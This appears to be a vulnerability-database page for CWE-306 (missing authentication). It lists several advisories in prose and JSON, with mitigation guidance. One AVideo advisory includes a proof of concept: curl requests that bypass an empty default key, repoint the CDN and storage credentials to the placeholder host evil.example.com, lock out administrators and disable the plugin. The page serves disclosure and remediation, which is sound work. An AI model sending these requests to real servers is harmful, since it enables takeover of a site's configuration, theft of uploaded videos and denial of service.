CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3452 vulnerabilities reference this CWE, most recent first.
GHSA-R578-WHJQ-MCFV
Vulnerability from github – Published: 2026-06-26 12:30 – Updated: 2026-06-26 12:30A flaw was found in KubeVirt's migration proxy. When spec.configuration.migrations.disableTLS is set to true on the KubeVirt custom resource, the target virt-handler binds a plain TCP listener on all interfaces (0.0.0.0/::) on a random port with no authentication, peer allow-list, or handshake token. This listener proxies directly into the target virt-launcher's virtqemud control socket. An attacker with a running pod on the cluster network can connect to this listener and issue unfiltered libvirt RPC commands against another tenant's virtual machine, including reading VM memory and configuration, modifying VM state via QMP, or destroying the VM. The bind address is unconditionally 0.0.0.0 — configuring a dedicated migration network via migrations.network only changes the advertised migration IP, not the listener bind address, so the port remains reachable on the pod network even when a dedicated migration network is configured. The API documentation describes disableTLS as removing "the additional layer of live migration encryption" without disclosing that it also removes all mutual authentication.
{
"affected": [],
"aliases": [
"CVE-2026-13325"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T11:16:30Z",
"severity": "HIGH"
},
"details": "A flaw was found in KubeVirt\u0027s migration proxy. When spec.configuration.migrations.disableTLS is set to true on the KubeVirt custom resource, the target virt-handler binds a plain TCP listener on all interfaces (0.0.0.0/::) on a random port with no authentication, peer allow-list, or handshake token. This listener proxies directly into the target virt-launcher\u0027s virtqemud control socket. An attacker with a running pod on the cluster network can connect to this listener and issue unfiltered libvirt RPC commands against another tenant\u0027s virtual machine, including reading VM memory and configuration, modifying VM state via QMP, or destroying the VM. The bind address is unconditionally 0.0.0.0 \u2014 configuring a dedicated migration network via migrations.network only changes the advertised migration IP, not the listener bind address, so the port remains reachable on the pod network even when a dedicated migration network is configured. The API documentation describes disableTLS as removing \"the additional layer of live migration encryption\" without disclosing that it also removes all mutual authentication.",
"id": "GHSA-r578-whjq-mcfv",
"modified": "2026-06-26T12:30:29Z",
"published": "2026-06-26T12:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13325"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-13325"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2493378"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R5HM-MP3J-285G
Vulnerability from github – Published: 2023-09-26 19:35 – Updated: 2023-09-26 19:35Impact
This vulnerability allows specially crafted requests to bypass authentication, affecting all SOCKS inbounds with user authentication.
Patches
Update to sing-box 1.4.5 or 1.5.0-rc.5 and later versions.
Workarounds
Don't expose the SOCKS5 inbound to insecure environments.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sagernet/sing-box"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/sagernet/sing-box"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0-beta.1"
},
{
"fixed": "1.5.0-rc.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/sagernet/sing"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.12-0.20230925092853-5b05b5c147d9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-43644"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-26T19:35:39Z",
"nvd_published_at": "2023-09-25T20:15:11Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nThis vulnerability allows specially crafted requests to bypass authentication, affecting all SOCKS inbounds with user authentication.\n\n### Patches\n\nUpdate to sing-box 1.4.5 or 1.5.0-rc.5 and later versions.\n\n### Workarounds\n\nDon\u0027t expose the SOCKS5 inbound to insecure environments.\n",
"id": "GHSA-r5hm-mp3j-285g",
"modified": "2023-09-26T19:35:39Z",
"published": "2023-09-26T19:35:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SagerNet/sing-box/security/advisories/GHSA-r5hm-mp3j-285g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43644"
},
{
"type": "WEB",
"url": "https://github.com/SagerNet/sing-box/commit/9891fd672f5da9f20f59a1693271a946727f49e2"
},
{
"type": "WEB",
"url": "https://github.com/SagerNet/sing/commit/5b05b5c147d9650e8accb4441e216c72a61f4859"
},
{
"type": "PACKAGE",
"url": "https://github.com/SagerNet/sing-box"
},
{
"type": "WEB",
"url": "https://github.com/SagerNet/sing-box/releases/tag/v1.4.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "sing-box vulnerable to improper authentication in the SOCKS inbound"
}
GHSA-R5M2-FQCF-QRF7
Vulnerability from github – Published: 2026-02-03 18:30 – Updated: 2026-02-04 19:34FUXA v1.2.7 contains an insecure default configuration vulnerability in server/settings.default.js. The 'secureEnabled' flag is commented out by default, causing the application to initialize with authentication disabled. This allows unauthenticated remote attackers to access sensitive API endpoints, modify projects, and control industrial equipment immediately after installation.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fuxa-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69970"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-04T19:34:40Z",
"nvd_published_at": "2026-02-03T18:16:17Z",
"severity": "HIGH"
},
"details": "FUXA v1.2.7 contains an insecure default configuration vulnerability in server/settings.default.js. The \u0027secureEnabled\u0027 flag is commented out by default, causing the application to initialize with authentication disabled. This allows unauthenticated remote attackers to access sensitive API endpoints, modify projects, and control industrial equipment immediately after installation.",
"id": "GHSA-r5m2-fqcf-qrf7",
"modified": "2026-02-04T19:34:41Z",
"published": "2026-02-03T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69970"
},
{
"type": "PACKAGE",
"url": "https://github.com/frangoteam/FUXA/blob"
},
{
"type": "WEB",
"url": "https://github.com/frangoteam/FUXA/blob/master/server/settings.default.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "FUXA contains an insecure default configuration vulnerability"
}
GHSA-R5P6-9327-8HCQ
Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2022-05-24 17:19It was found that nmcli, a command line interface to NetworkManager did not honour 802-1x.ca-path and 802-1x.phase2-ca-path settings, when creating a new profile. When a user connects to a network using this profile, the authentication does not happen and the connection is made insecurely.
{
"affected": [],
"aliases": [
"CVE-2020-10754"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-08T18:15:00Z",
"severity": "MODERATE"
},
"details": "It was found that nmcli, a command line interface to NetworkManager did not honour 802-1x.ca-path and 802-1x.phase2-ca-path settings, when creating a new profile. When a user connects to a network using this profile, the authentication does not happen and the connection is made insecurely.",
"id": "GHSA-r5p6-9327-8hcq",
"modified": "2022-05-24T17:19:30Z",
"published": "2022-05-24T17:19:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10754"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10754"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/44FTVXWKDYIAMOOP2PZMUY3D2QNWAVBZ"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-R5VJ-595H-W86Q
Vulnerability from github – Published: 2022-07-26 00:00 – Updated: 2022-08-04 00:00This vulnerability allows remote attackers to execute arbitrary code on affected installations of Inductive Automation Ignition 8.1.15 (b2022030114). Authentication is not required to exploit this vulnerability. The specific flaw exists within the authenticateAdSso method. The issue results from the lack of authentication prior to allowing the execution of python code. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-17206.
{
"affected": [],
"aliases": [
"CVE-2022-35871"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-25T19:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Inductive Automation Ignition 8.1.15 (b2022030114). Authentication is not required to exploit this vulnerability. The specific flaw exists within the authenticateAdSso method. The issue results from the lack of authentication prior to allowing the execution of python code. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-17206.",
"id": "GHSA-r5vj-595h-w86q",
"modified": "2022-08-04T00:00:21Z",
"published": "2022-07-26T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35871"
},
{
"type": "WEB",
"url": "https://support.inductiveautomation.com/hc/en-us/articles/7625759776653-Regarding-Pwn2Own-2022-Vulnerabilities"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-1018"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R64R-883R-WCWH
Vulnerability from github – Published: 2026-03-25 21:55 – Updated: 2026-03-25 21:55Summary
The CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter.
Details
The CDN plugin defines a default empty key in plugin/CDN/CDN.php:68:
$obj->key = "";
The status.json.php endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:
// Line 16-19: Requires attacker to provide SOME key value
if (empty($_REQUEST['key'])) {
$resp->msg = 'Key is empty';
die(json_encode($resp));
}
// Line 21-26: Only validates key IF stored key is non-empty
if (!empty($obj->key)) { // When key is "" (default), this is FALSE
//check the key
if ($obj->key !== $_REQUEST['key']) {
$resp->msg = 'Key Does not match';
die(json_encode($resp));
}
}
When the stored key is the default empty string "", !empty("") evaluates to false, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.
Following the bypass, lines 28-31 perform unchecked mass-assignment:
$obj->key = $_REQUEST['key'];
foreach ($_REQUEST['par'] as $key => $value) {
$obj->{$key} = $value;
$resp->{$key} = $value;
}
The attacker-controlled par array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:
$cdn = AVideoPlugin::loadPluginIfEnabled('CDN');
$id = $cdn->setDataObject($obj);
setDataObject() in Plugin.abstract.php:263 serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.
Exploitable properties (defined in CDN.php:62-87) include:
- CDN — main CDN URL for serving all video content
- CDN_S3, CDN_B2, CDN_FTP — storage-specific CDN URLs
- enable_storage — enables CDN storage functionality
- storage_hostname, storage_username, storage_password — storage backend credentials
- key — the authentication key itself (via mass-assignment, can override line 28)
The disable.json.php endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: $cdn->setStatus('inactive')).
This contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, Gallery/saveSort.json.php (commit 087dab884) uses isGlobalTokenValid(), and commit daca4ffb1 added User::isAdmin() checks to other configuration endpoints.
PoC
Prerequisites: AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).
Step 1: Verify CDN plugin is enabled and key is default
curl -s 'https://target/plugin/CDN/status.json.php' \
-d 'key=anything' \
-d 'par[CDN]=https://evil.example.com/'
If the response contains "error":false, the key bypass worked and CDN URL has been overwritten.
Step 2: Full takeover — redirect media, enable storage with attacker credentials, lock out admins
curl -s 'https://target/plugin/CDN/status.json.php' \
-d 'key=initial-bypass' \
-d 'par[CDN]=https://evil.example.com/' \
-d 'par[enable_storage]=1' \
-d 'par[storage_hostname]=evil.example.com' \
-d 'par[storage_username]=attacker' \
-d 'par[storage_password]=controlled' \
-d 'par[key]=attacker-secret-key'
This single request:
1. Redirects all CDN-served media URLs to attacker's server
2. Enables CDN storage pointing to attacker-controlled host
3. Sets the key to attacker-secret-key, locking legitimate administrators out of reconfiguring via this endpoint
Step 3: Disable CDN entirely (denial of service)
curl -s 'https://target/plugin/CDN/disable.json.php' \
-d 'key=attacker-secret-key' \
-d 'par[x]=1'
This deactivates the CDN plugin, disrupting media delivery.
Impact
An unauthenticated remote attacker can:
- Redirect all media delivery — By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing.
- Exfiltrate uploaded videos — By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker's storage server.
- Overwrite storage credentials — The
storage_hostname,storage_username, andstorage_passwordfields are all mass-assignable, allowing the attacker to hijack the storage backend. - Lock out administrators — By setting the
keyvia mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected). - Disable CDN — Via
disable.json.php, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.
The vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured — which is the default state immediately after enabling the plugin.
Recommended Fix
Add proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In plugin/CDN/status.json.php and plugin/CDN/disable.json.php, add an admin check after the configuration include:
require_once dirname(__FILE__) . '/../../videos/configuration.php';
_session_write_close();
header('Content-Type: application/json');
$resp = new stdClass();
$resp->error = true;
$resp->msg = '';
// Fix: Require admin authentication
if (!User::isAdmin()) {
$obj = AVideoPlugin::getDataObjectIfEnabled('CDN');
if (empty($obj) || empty($obj->key) || empty($_REQUEST['key']) || $obj->key !== $_REQUEST['key']) {
$resp->msg = 'Authentication required';
die(json_encode($resp));
}
}
Additionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:
$allowedParams = ['CDN', 'CDN_S3', 'CDN_B2', 'CDN_FTP', 'CDN_Live'];
foreach ($_REQUEST['par'] as $key => $value) {
if (!in_array($key, $allowedParams, true)) {
continue;
}
$obj->{$key} = $value;
$resp->{$key} = $value;
}
This prevents mass-assignment of sensitive properties like key, storage_password, storage_hostname, and enable_storage even when the key-based auth is legitimately used by CDN nodes.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33719"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:55:32Z",
"nvd_published_at": "2026-03-23T19:16:42Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe CDN plugin endpoints `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php` use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration \u2014 including CDN URLs, storage credentials, and the authentication key itself \u2014 via mass-assignment through the `par` request parameter.\n\n## Details\n\nThe CDN plugin defines a default empty key in `plugin/CDN/CDN.php:68`:\n\n```php\n$obj-\u003ekey = \"\";\n```\n\nThe `status.json.php` endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:\n\n```php\n// Line 16-19: Requires attacker to provide SOME key value\nif (empty($_REQUEST[\u0027key\u0027])) {\n $resp-\u003emsg = \u0027Key is empty\u0027;\n die(json_encode($resp));\n}\n\n// Line 21-26: Only validates key IF stored key is non-empty\nif (!empty($obj-\u003ekey)) { // When key is \"\" (default), this is FALSE\n //check the key\n if ($obj-\u003ekey !== $_REQUEST[\u0027key\u0027]) {\n $resp-\u003emsg = \u0027Key Does not match\u0027;\n die(json_encode($resp));\n }\n}\n```\n\nWhen the stored key is the default empty string `\"\"`, `!empty(\"\")` evaluates to `false`, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.\n\nFollowing the bypass, lines 28-31 perform unchecked mass-assignment:\n\n```php\n$obj-\u003ekey = $_REQUEST[\u0027key\u0027];\nforeach ($_REQUEST[\u0027par\u0027] as $key =\u003e $value) {\n $obj-\u003e{$key} = $value;\n $resp-\u003e{$key} = $value;\n}\n```\n\nThe attacker-controlled `par` array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:\n\n```php\n$cdn = AVideoPlugin::loadPluginIfEnabled(\u0027CDN\u0027);\n$id = $cdn-\u003esetDataObject($obj);\n```\n\n`setDataObject()` in `Plugin.abstract.php:263` serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.\n\nExploitable properties (defined in `CDN.php:62-87`) include:\n- `CDN` \u2014 main CDN URL for serving all video content\n- `CDN_S3`, `CDN_B2`, `CDN_FTP` \u2014 storage-specific CDN URLs\n- `enable_storage` \u2014 enables CDN storage functionality\n- `storage_hostname`, `storage_username`, `storage_password` \u2014 storage backend credentials\n- `key` \u2014 the authentication key itself (via mass-assignment, can override line 28)\n\nThe `disable.json.php` endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: `$cdn-\u003esetStatus(\u0027inactive\u0027)`).\n\nThis contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, `Gallery/saveSort.json.php` (commit 087dab884) uses `isGlobalTokenValid()`, and commit daca4ffb1 added `User::isAdmin()` checks to other configuration endpoints.\n\n## PoC\n\n**Prerequisites:** AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).\n\n**Step 1: Verify CDN plugin is enabled and key is default**\n\n```bash\ncurl -s \u0027https://target/plugin/CDN/status.json.php\u0027 \\\n -d \u0027key=anything\u0027 \\\n -d \u0027par[CDN]=https://evil.example.com/\u0027\n```\n\nIf the response contains `\"error\":false`, the key bypass worked and CDN URL has been overwritten.\n\n**Step 2: Full takeover \u2014 redirect media, enable storage with attacker credentials, lock out admins**\n\n```bash\ncurl -s \u0027https://target/plugin/CDN/status.json.php\u0027 \\\n -d \u0027key=initial-bypass\u0027 \\\n -d \u0027par[CDN]=https://evil.example.com/\u0027 \\\n -d \u0027par[enable_storage]=1\u0027 \\\n -d \u0027par[storage_hostname]=evil.example.com\u0027 \\\n -d \u0027par[storage_username]=attacker\u0027 \\\n -d \u0027par[storage_password]=controlled\u0027 \\\n -d \u0027par[key]=attacker-secret-key\u0027\n```\n\nThis single request:\n1. Redirects all CDN-served media URLs to attacker\u0027s server\n2. Enables CDN storage pointing to attacker-controlled host\n3. Sets the key to `attacker-secret-key`, locking legitimate administrators out of reconfiguring via this endpoint\n\n**Step 3: Disable CDN entirely (denial of service)**\n\n```bash\ncurl -s \u0027https://target/plugin/CDN/disable.json.php\u0027 \\\n -d \u0027key=attacker-secret-key\u0027 \\\n -d \u0027par[x]=1\u0027\n```\n\nThis deactivates the CDN plugin, disrupting media delivery.\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n1. **Redirect all media delivery** \u2014 By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing.\n2. **Exfiltrate uploaded videos** \u2014 By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker\u0027s storage server.\n3. **Overwrite storage credentials** \u2014 The `storage_hostname`, `storage_username`, and `storage_password` fields are all mass-assignable, allowing the attacker to hijack the storage backend.\n4. **Lock out administrators** \u2014 By setting the `key` via mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected).\n5. **Disable CDN** \u2014 Via `disable.json.php`, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.\n\nThe vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured \u2014 which is the default state immediately after enabling the plugin.\n\n## Recommended Fix\n\nAdd proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php`, add an admin check after the configuration include:\n\n```php\nrequire_once dirname(__FILE__) . \u0027/../../videos/configuration.php\u0027;\n_session_write_close();\nheader(\u0027Content-Type: application/json\u0027);\n\n$resp = new stdClass();\n$resp-\u003eerror = true;\n$resp-\u003emsg = \u0027\u0027;\n\n// Fix: Require admin authentication\nif (!User::isAdmin()) {\n $obj = AVideoPlugin::getDataObjectIfEnabled(\u0027CDN\u0027);\n if (empty($obj) || empty($obj-\u003ekey) || empty($_REQUEST[\u0027key\u0027]) || $obj-\u003ekey !== $_REQUEST[\u0027key\u0027]) {\n $resp-\u003emsg = \u0027Authentication required\u0027;\n die(json_encode($resp));\n }\n}\n```\n\nAdditionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:\n\n```php\n$allowedParams = [\u0027CDN\u0027, \u0027CDN_S3\u0027, \u0027CDN_B2\u0027, \u0027CDN_FTP\u0027, \u0027CDN_Live\u0027];\nforeach ($_REQUEST[\u0027par\u0027] as $key =\u003e $value) {\n if (!in_array($key, $allowedParams, true)) {\n continue;\n }\n $obj-\u003e{$key} = $value;\n $resp-\u003e{$key} = $value;\n}\n```\n\nThis prevents mass-assignment of sensitive properties like `key`, `storage_password`, `storage_hostname`, and `enable_storage` even when the key-based auth is legitimately used by CDN nodes.",
"id": "GHSA-r64r-883r-wcwh",
"modified": "2026-03-25T21:55:32Z",
"published": "2026-03-25T21:55:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-r64r-883r-wcwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33719"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/adeff0a31ba04a56f411eef256139fd7ed7d4310"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment"
}
GHSA-R67F-7G4F-5CFQ
Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-05-14 18:30A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V5.5). The affected systems allow any unauthenticated client to disconnect any active user from the server. An attacker could use this vulnerability to prevent any user to perform actions in the system, causing a denial of service situation.
{
"affected": [],
"aliases": [
"CVE-2024-27942"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T16:16:27Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions \u003c V5.5). The affected systems allow any unauthenticated client to disconnect any active user from the server. An attacker could use this vulnerability to prevent any user to perform actions in the system, causing a denial of service situation.",
"id": "GHSA-r67f-7g4f-5cfq",
"modified": "2024-05-14T18:30:59Z",
"published": "2024-05-14T18:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27942"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-916916.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R67H-M869-3M3Q
Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-07-11 00:00Incorrect Access Control in Emerson Smart Wireless Gateway 1420 4.6.59 allows remote attackers to obtain sensitive device information from the administrator console without authentication.
{
"affected": [],
"aliases": [
"CVE-2020-19419"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-10T18:15:00Z",
"severity": "HIGH"
},
"details": "Incorrect Access Control in Emerson Smart Wireless Gateway 1420 4.6.59 allows remote attackers to obtain sensitive device information from the administrator console without authentication.",
"id": "GHSA-r67h-m869-3m3q",
"modified": "2022-07-11T00:00:22Z",
"published": "2022-05-24T17:44:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19419"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/306.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/161701/Emerson-Smart-Wireless-Gateway-1420-4.6.59-Missing-Authentication.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R6FF-P4VX-28HV
Vulnerability from github – Published: 2026-02-11 18:31 – Updated: 2026-02-11 18:31An unprotected API endpoint allows an attacker to remotely change the device password without providing authentication.
{
"affected": [],
"aliases": [
"CVE-2026-24789"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T17:16:13Z",
"severity": "CRITICAL"
},
"details": "An unprotected API endpoint allows an attacker to remotely change the device password without providing authentication.",
"id": "GHSA-r6ff-p4vx-28hv",
"modified": "2026-02-11T18:31:29Z",
"published": "2026-02-11T18:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24789"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-041-02.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-041-02"
},
{
"type": "WEB",
"url": "https://www.zlmcu.com/en/contact_us.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-R6G3-QGX7-W7M3
Vulnerability from github – Published: 2025-12-09 21:31 – Updated: 2025-12-19 21:30MiniDVBLinux 5.4 contains an authentication bypass vulnerability that allows remote attackers to change the root password without authentication. Attackers can send crafted POST requests to the system setup endpoint with modified SYSTEM_PASSWORD parameters to reset root credentials.
{
"affected": [],
"aliases": [
"CVE-2023-53771"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T21:15:52Z",
"severity": "CRITICAL"
},
"details": "MiniDVBLinux 5.4 contains an authentication bypass vulnerability that allows remote attackers to change the root password without authentication. Attackers can send crafted POST requests to the system setup endpoint with modified SYSTEM_PASSWORD parameters to reset root credentials.",
"id": "GHSA-r6g3-qgx7-w7m3",
"modified": "2025-12-19T21:30:16Z",
"published": "2025-12-09T21:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53771"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51094"
},
{
"type": "WEB",
"url": "https://www.minidvblinux.de"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/minidvblinux-unauthenticated-root-password-change-via-system-setup"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5715.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
